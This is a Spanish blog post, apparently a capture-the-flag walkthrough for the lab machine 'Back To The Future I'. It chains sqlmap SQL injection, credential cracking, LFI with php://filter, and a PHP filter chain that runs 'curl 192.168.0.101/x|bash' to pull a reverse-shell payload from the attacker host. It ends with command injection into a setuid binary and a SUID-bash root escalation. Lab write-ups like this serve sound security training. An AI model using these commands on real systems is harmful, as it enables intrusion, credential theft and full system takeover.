Sin categoría

Resolución del CTF: Back To The Future I


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo. Utilizamos un escaneo agresivo en velocidad y con detección de servicios y scripts básicos para obtener la mayor cantidad de información posible en una sola pasada, evitando resolución DNS y comprobaciones ICMP que puedan falsear el estado del host.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos servicios FTP (21), SSH (22), HTTP (80) y MariaDB (3306). El servicio web indica uso de virtual hosting, por lo que es necesario resolver el dominio correcto.

echo "192.168.0.100 hillvalley.thl" | sudo tee -a /etc/hosts

Enumeración web

Enumeramos contenido web para identificar puntos de entrada adicionales. Forzamos extensiones comunes y utilizamos un diccionario amplio para detectar recursos accesibles y paneles internos.

gobuster dir -u http://hillvalley.thl/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

El sitio presenta un formulario de autenticación, lo que unido a la presencia de un servicio MySQL expuesto sugiere un backend de base de datos accesible desde la aplicación.

Explotación

Inyección SQL

Probamos el formulario de login y detectamos comportamiento anómalo ante caracteres especiales, lo que confirma una posible inyección SQL. Automatizamos la explotación con sqlmap, especificando el parámetro vulnerable, el motor de base de datos y elevando nivel y riesgo para cubrir más técnicas.

sqlmap -u "http://hillvalley.thl/index.php" --data="username=TEST&password=TEST" -p username --batch --level=5 --risk=3 --dbms=mysql --technique=BEUSTQ --random-agent

Extraemos la información relevante de la base de datos y volcamos la tabla de usuarios para obtener credenciales reutilizables.

sqlmap -u "http://hillvalley.thl/index.php" --data="username=TEST&password=TEST" -p username -D hillvalley -T users --dump --batch

Cracking de credenciales

El hash obtenido corresponde a bcrypt. Utilizamos John the Ripper con el diccionario rockyou para recuperar la contraseña en texto claro.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Local File Inclusion

Una vez autenticados, observamos que la aplicación carga recursos dinámicamente mediante el parámetro page. Probamos rutas relativas y confirmamos un LFI funcional.

curl "http://hillvalley.thl/admin.php?page=../../../../etc/passwd"

Para acceder al código fuente PHP utilizamos wrappers, aplicando php://filter para codificar el contenido y evitar su ejecución.

curl "http://hillvalley.thl/admin.php?page=php://filter/convert.base64-encode/resource=config.php"

Ejecución remota de comandos

El LFI permite el uso de PHP Filter Chains. Generamos una cadena que ejecuta comandos del sistema y descargamos un payload desde nuestra máquina para obtener una reverse shell.

python3 php_filter_chain_generator.py --chain "<?php system('curl 192.168.0.101/x|bash'); ?>"

Escalada de privilegios

Usuario marty

Desde la shell inicial localizamos credenciales en archivos de configuración y pivotamos al usuario marty. En su directorio encontramos un backup protegido que contiene una clave SSH privada.

unzip backup.zip

Crackeamos la passphrase de la clave y accedemos por SSH de forma interactiva, eliminando la dependencia de la shell web.

ssh -i id_rsa [email protected]

Usuario docbrown

Analizando binarios con permisos especiales detectamos backup_runner, que construye un comando tar con entrada controlada por el usuario. La falta de sanitización permite inyección de comandos.

/usr/local/bin/backup_runner "; /bin/bash -p ;"

Root

El usuario docbrown puede ejecutar time_daemon como root sin contraseña. El binario consume el contenido de /tmp/sync, permitiendo ejecutar comandos arbitrarios con privilegios elevados.

echo "chmod +s /bin/bash" > /tmp/sync
sudo /usr/local/bin/time_daemon

Con la bash marcada como SUID, obtenemos una shell root persistente y acceso completo al sistema.

bash -p


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *